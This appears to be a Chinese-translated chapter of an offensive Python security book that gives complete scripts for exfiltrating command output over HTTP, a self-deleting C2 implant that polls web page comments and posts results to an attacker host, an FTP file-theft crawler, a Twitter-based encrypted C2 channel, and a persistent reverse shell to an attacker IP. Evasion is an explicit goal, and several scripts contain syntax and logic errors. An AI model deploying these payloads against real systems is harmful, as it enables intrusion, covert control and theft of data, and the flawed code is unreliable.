在本章中,我们将介绍以下主题:
在本章中,我们将介绍如何在 Python 中创建反向 shell 和有效负载。一旦在 Linux 或 Mac 系统上发现上传漏洞,Python 有效负载将处于下一步的最佳位置。它们很容易制作或定制,以匹配特定的系统,具有明确的功能,最重要的是,几乎所有 Mac 和 Linux 系统默认都带有 Python2.7。
我们将要创建的第一个脚本将使用一种非常简单的技术从目标服务器提取数据。有三个基本步骤:在目标上运行命令,通过 HTTP 请求将输出传输给攻击者,并查看结果。
此配方需要攻击者可以访问的 web 服务器,以便接收来自目标的 HTTP 请求。幸运的是,Python 有一种非常简单的启动 web 服务器的方法:
$ Python –m SimpleHTTPServer
这将在端口8000
上启动 HTTP web 服务器,提供当前目录中的所有文件。它接收到的任何请求都直接打印到控制台,这使它成为获取数据的一种非常快速的方法,因此是对该脚本的一个很好的补充。
这是将在服务器上运行各种命令并通过 web 请求传输输出的脚本:
import requests
import urllib
import subprocess
from subprocess import PIPE, STDOUT
commands = ['whoami','hostname','uname']
out = {}
for command in commands:
try:
p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
out[command] = p.stdout.read().strip()
except:
pass
requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))
导入后,脚本的第一部分将创建一个命令数组:
commands = ['whoami','hostname','uname']
这是三个标准 Linux 命令的示例,这些命令可以将有用的信息反馈给攻击者。注意,这里假设目标服务器正在运行 Linux。使用前几章中的脚本进行侦察,以确定目标的操作系统,并在必要时将此阵列中的命令替换为 Windows 等效命令。
接下来,我们有主for
循环:
p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
out[command] = p.stdout.read().strip()
这部分代码执行命令并获取来自subprocess
的输出(将标准输出和标准错误都传输到单个subprocess.PIPE
)。然后将结果添加到 out 字典中。请注意,我们在这里使用了一个try
和except
语句,因为任何无法运行的命令都会导致异常。
最后,我们有一个 HTTP 请求:
requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))
此使用urllib.encode
将字典转换为 URL 编码的键/值对。这意味着可能影响 URL 的任何字符,例如,&
或=
,将转换为其 URL 编码的等效字符,例如,%26
和%3D
。
注意,脚本端将没有输出;所有内容都在 HTTP 请求中传递给攻击者的 web 服务器(示例使用端口8000
上的 localhost)。GET
请求如下所示:
公然在 URL 中显示您的命令的问题是,即使是半睡半醒的日志分析师也会发现它。有多种隐藏请求的方法,但是当您不知道响应文本是什么样子时,您需要提供一种隐藏输出并将其返回到服务器的可靠方法。
我们将创建一个脚本,该脚本将命令和控制活动屏蔽为 HTTP 流量,从网页上的注释中获取命令,并将输出返回到留言簿中。
为此,您将需要一个功能正常的 web 服务器,它有两个页面,一个用来存放您的评论,另一个用来存放您的检索页面。
您的评论页面应该只有标准内容。为此,我使用 Nginx 默认主页,并在最后添加注释。评论应表述为:
<!--cmdgoeshere-->
检索页面可以简单到:
<?php
$host='localhost';
$username='user';
$password='password';
$db_name="data";
$tbl_name="data";
$comment = $_REQUEST['comment'];
mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");
$sql="INSERT INTO $tbl_name VALUES('$comment')";
$result=mysql_query($sql);
mysql_close();
?>
基本上,这个 PHP 所做的就是在名为comment
的POST
请求中获取一个传入值,并将其放入数据库中。这是非常基本的,如果有多个 shell,它不会区分多个传入命令。
我们将使用的脚本如下所示:
import requests
import re
import subprocess
import time
import os
while 1:
req = requests.get("http://127.0.0.1")
comments = re.findall('<!--(.*)-->',req.text)
for comment in comments:
if comment = " ":
os.delete(__file__)
else:
try:
response = subprocess.check_output(comment.split())
except:
response = "command fail"
data={"comment":(''.join(response)).encode("base64")}
newreq = requests.post("http://notmalicious.com/c2.php", data=data)
time.sleep(30)
下面显示了使用此脚本时生成的输出示例:
Name: TGludXggY2FtLWxhcHRvcCAzLjEzLjAtNDYtZ2VuZXJpYyAjNzktVWJ1bnR1IFNNU CBUdWUgTWFyIDEwIDIwOjA2OjUwIFVUQyAyMDE1IHg4Nl82NCB4ODZfNjQgeDg2X zY0IEdOVS9MaW51eAo= Comment:
Name: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFl bW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9i aW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jp bi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5 bmM6L2JpbjovYmluL3N5bmMKZ Comment:
一如既往,我们导入必要的库并启动脚本:
import requests
import re
import subprocess
import time
import os
由于此脚本具有内置的自删除方法,我们可以通过以下循环将其设置为永远运行:
while 1:
我们请求检查预配置页面上是否有任何评论。如果有的话,我们会把它们列在一个列表中。我们使用非常基本的regex
来执行此检查:
req = requests.get("http://127.0.0.1")
comments = re.findall('<!--(.*)-->',req.text)
我们要做的第一件事是检查是否有空评论。这对脚本来说意味着它应该删除自己,这是一种非常重要的不干涉 C2 脚本的机制。如果希望脚本删除自身,只需在页面上留下一条空注释。脚本通过查找自己的名称并删除该名称来删除自身:
for comment in comments:
if comment = " ":
os.delete(__file__)
如果注释不是空的,我们将尝试使用subprocess
命令将其传递给系统。重要的是你要使用。split()
在命令上说明subprocess
如何处理多部分命令。我们使用.check_output
将命令直接给出的任何输出返回给我们指定的变量:
else:
try:
response = subprocess.check_output(comment.split())
如果命令失败,我们将响应值设置为command failed
:
except:
response = "command fail"
我们获取这个response
变量,并将其分配给一个与字典中的 PHP 脚本相匹配的键。在这种情况下,字段名为comment
,因此我们将输出分配给注释。我们以输出为基础,以考虑任何随机变量,例如可能干扰脚本的空格或代码:
data={"comment":(''.join(response)).encode("base64")}
现在已经分配了数据,我们以POST
请求将其发送到预配置的服务器,并等待30
秒再次检查注释中的进一步说明:
newreq = requests.post("http://127.0.0.1/addguestbook.php", data=data)
time.sleep(30)
这个脚本是一个快速而肮脏的文件盗窃工具。它沿着目录直线运行,捕捉它接触到的所有东西。然后将它们导出到指向的FTP
目录。在可以删除文件并希望快速获取服务器内容的情况下,这是理想的起点。
我们将创建一个连接到 FTP 的脚本,获取当前目录中的文件,并将它们导出到 FTP。然后跳转到下一个目录并重复。当它遇到两个相同的目录列表时(即,它已到达根目录),它将停止。
为此,您需要一个运行正常的 FTP 服务器。我用的是vsftpd
,但你可以随意使用。您需要将凭据硬编码到脚本中(不建议这样做),或者将凭据作为标志发送。
我们将使用的脚本如下所示:
from ftplib import FTP
import time
import os
user = sys.argv[1]
pw = sys.argv[2]
ftp = FTP("127.0.0.1", user, pw)
filescheck = "aa"
loop = 0
up = "../"
while 1:
files = os.listdir("./"+(i*up))
print files
for f in files:
try:
fiile = open(f, 'rb')
ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
fiile.close()
else:
pass
if filescheck == files:
break
else:
filescheck = files
loop = loop+1
time.sleep(10)
ftp.close()
一如既往,我们导入库并设置变量。我们已将用户名和密码设置为sys.argv
,以避免硬编码,从而暴露我们的系统:
from ftplib import FTP
import time
import os
user = sys.argv[1]
pw = sys.argv[2]
然后,我们使用 IP 地址和通过标志设置的凭据连接到 FTP。您也可以将 IP 作为sys.argv
传递,以避免硬编码:
ftp = FTP("127.0.0.1", user, pw)
我为目录检查方法设置了一个与第一个目录不匹配的 nonce 值。我们还将循环设置为0
,并将“up directory”命令配置为变量,类似于第 3 章、漏洞识别中的目录遍历脚本:
filescheck = "aa"
loop = 0
up = "../"
然后我们创建我们的主循环以永远重复,并创建我们选择的目录调用。我们在调用的目录中列出文件,并为其分配一个变量。如果愿意,您可以选择在此处打印文件列表,就像我出于诊断目的所做的那样,但这没有什么区别:
while 1:
files = os.listdir("./"+(i*up))
print files
对于在目录中检测到的每个文件,我们将尝试打开它。我们使用rb
打开文件很重要,因为这样可以将其作为二进制文件读取,从而可以作为二进制文件传输。如果它是可打开的,我们使用storbinary
命令将其传输到 FTP。然后,我们关闭文件以完成交易:
try:
fiile = open(f, 'rb')
ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
fiile.close()
如果出于任何原因,我们无法打开或传输文件,我们只需转到列表中的下一个:
else:
pass
然后检查自上一个命令以来是否更改了目录。如果没有,我们将中断主循环:
if filescheck == files:
break
如果目录列表不匹配,我们将filecheck
变量设置为与当前目录匹配,通过1
迭代循环,并休眠10
秒,以避免滥发服务器:
else:
filescheck = files
loop = loop+1
time.sleep(10)
最后,完成所有其他操作后,我们将关闭与 FTP 服务器的连接:
ftp.close()
直到某一点,在互联网上请求随机页面是可以通过的,但一旦安全运营中心(SOC)分析师仔细查看正在消失的所有数据,很明显,这些请求将发送到一个不可靠的站点,因此可能与恶意流量有关。幸运的是,社交媒体在这方面起到了帮助作用,并允许我们将数据隐藏在显而易见的地方。
我们将创建一个脚本,用于连接到 Twitter、读取推文、基于这些推文执行命令、加密响应数据并将其发布到 Twitter。我们还将制作一个解码脚本。
为此,您需要一个具有 API 密钥的 Twitter 帐户。
我们将使用的脚本如下所示:
from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time
token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))
while 1:
user = t.statuses.user_timeline()
command = user[0]["text"].encode('utf-8')
key = user[1]["text"].encode('hex')
enc = ARC4.new(key)
response = subprocess.check_output(command.split())
enres = enc.encrypt(response).encode("base64")
for i in xrange(0, len(enres), 140):
t.statuses.update(status=enres[i:i+140])
time.sleep(3600)
解码脚本如下所示:
from Crypto.Cipher import ARC4
key = "".encode("hex")
response = ""
enc = ARC4.new(key)
response = response.decode("base64")
print enc.decrypt(response)
正在进行的脚本的示例如下所示:
我们照常导入我们的库。有许多 Twitter Python 库;我只是在使用上提供的标准 twitter APIhttps://code.google.com/p/python-twitter/ 。代码如下:
from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time
为了满足 Twitter 认证要求,我们需要从developer.Twitter.com的应用页面中检索应用令牌、应用秘密、用户令牌和用户秘密。我们将其分配给变量,并设置与 Twitter API 的连接:
token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))
我们设置了一个无限循环:
while 1:
我们调用已设置帐户的用户时间表。重要的是,此应用程序对 Twitter 帐户具有读写权限。然后,我们获取最近一条推文的最后一条文本。我们需要将其编码为 UTF-8,因为通常存在常规编码无法处理的字符:
user = t.statuses.user_timeline()
command = user[0]["text"].encode('utf-8')
然后,我们使用 oxt 最后一条 tweet 作为加密密钥。我们将其编码为hex
,以避免出现空间与空间匹配的情况:
key = user[1]["text"].encode('hex')
enc = ARC4.new(key)
我们使用subprocess
函数执行该操作。我们使用预设的向上 XORing 加密对输出进行加密,并将其编码为 base64:
response = subprocess.check_output(command.split())
enres = enc.encrypt(response).encode("base64")
我们将加密和编码的响应分成 140 个字符的块,以允许 Twitter 字符上限。对于每个区块,我们创建一个 Twitter 状态:
for i in xrange(0, len(enres), 140):
t.statuses.update(status=enres[i:i+140])
因为每一步都需要两条 tweet,所以我在每次命令检查之间留出了一个小时的间隔,但您自己很容易改变这一点:
time.sleep(3600)
对于解码,导入RC4
库,将您的 key tweet 设置为 key,将重新组装的 base64 作为响应:
from Crypto.Cipher import ARC4
key = "".encode("hex")
response = ""
使用密钥设置新的RC4
代码,解码 base64 中的数据,并使用密钥解密:
enc = ARC4.new(key)
response = response.decode("base64")
print enc.decrypt(response)
下面我们要创建的脚本利用原始套接字从网络中过滤数据。此 shell 的总体思想是通过 Netcat(或其他程序)会话在受损机器和您自己的机器之间创建连接,并以这种方式向机器发送命令。
这个 Python 脚本的美妙之处在于它的不可检测性,因为它看起来是一个完全合法的脚本。
这是将通过 Netcat 建立连接并读取输入的脚本:
import socket
import subprocess
import sys
import time
HOST = '172.16.0.2' # Your attacking machine to connect back to
PORT = 4444 # The port your attacking machine is listening on
def connect((host, port)):
go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
go.connect((host, port))
return go
def wait(go):
data = go.recv(1024)
if data == "exit\n":
go.close()
sys.exit(0)
elif len(data)==0:
return True
else:
p = subprocess.Popen(data, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout = p.stdout.read() + p.stderr.read()
go.send(stdout)
return False
def main():
while True:
dead=False
try:
go=connect((HOST,PORT))
while not dead:
dead=wait(go)
go.close()
except socket.error:
pass
time.sleep(2)
if __name__ == "__main__":
sys.exit(main())
要正常启动脚本,我们需要导入将在整个脚本中使用的模块:
import socket
import subprocess
import sys
import time
然后我们需要定义我们的变量:这些值是攻击机器的 IP 和端口,用于建立与以下设备的连接:
HOST = '172.16.0.2' # Your attacking machine to connect back to
PORT = 4444 # The port your attacking machine is listening on
然后我们继续定义原始连接;然后,我们可以将一个值分配给已建立的值,稍后再参考该值来读取输入并发送标准输出。
我们返回到之前设置并创建连接的主机和端口值。我们将已建立的连接的值指定为go
:
def connect((host, port)):
go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
go.connect((host, port))
return go
然后我们可以引入代码块,为我们完成等待部分。这将等待通过攻击机器的 Netcat 会话向其发送命令。我们确保通过会话发送的数据通过管道传输到 shell 中,然后通过已建立的 Netcat 会话将其标准输出返回给我们,从而通过反向连接让我们能够访问 shell。
我们将名称数据指定给通过 Netcat 会话传递给受损机器的值。向脚本添加值,以在用户完成时退出会话;我们为此选择了exit
,这意味着进入 Netcat 会话的退出将终止已建立的连接。然后,我们深入到数据被打开(读取)并通过管道传输到外壳中的基本部分。完成后,我们将确保读取stdout
值并给出stdout
值(可以是任何值),然后通过之前建立的go
会话将其发送回我们自己。代码如下:
def wait(go):
data = go.recv(1024)
if data == "exit\n":
go.close()
sys.exit(0)
elif len(data)==0:
return True
else:
p = subprocess.Popen(data, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout = p.stdout.read() + p.stderr.read()
go.send(stdout)
return False
脚本的最后一部分是错误检查和运行部分。在脚本运行之前,我们确保让 Python 知道我们有一种机制,可以通过使用前面的 true 语句检查会话是否处于活动状态。如果连接丢失,Python 脚本将尝试重新建立与攻击机器的连接,使其成为持久后门:
def main():
while True:
dead=False
try:
go=connect((HOST,PORT))
while not dead:
dead=wait(go)
go.close()
except socket.error:
pass
time.sleep(2)
if __name__ == "__main__":
sys.exit(main())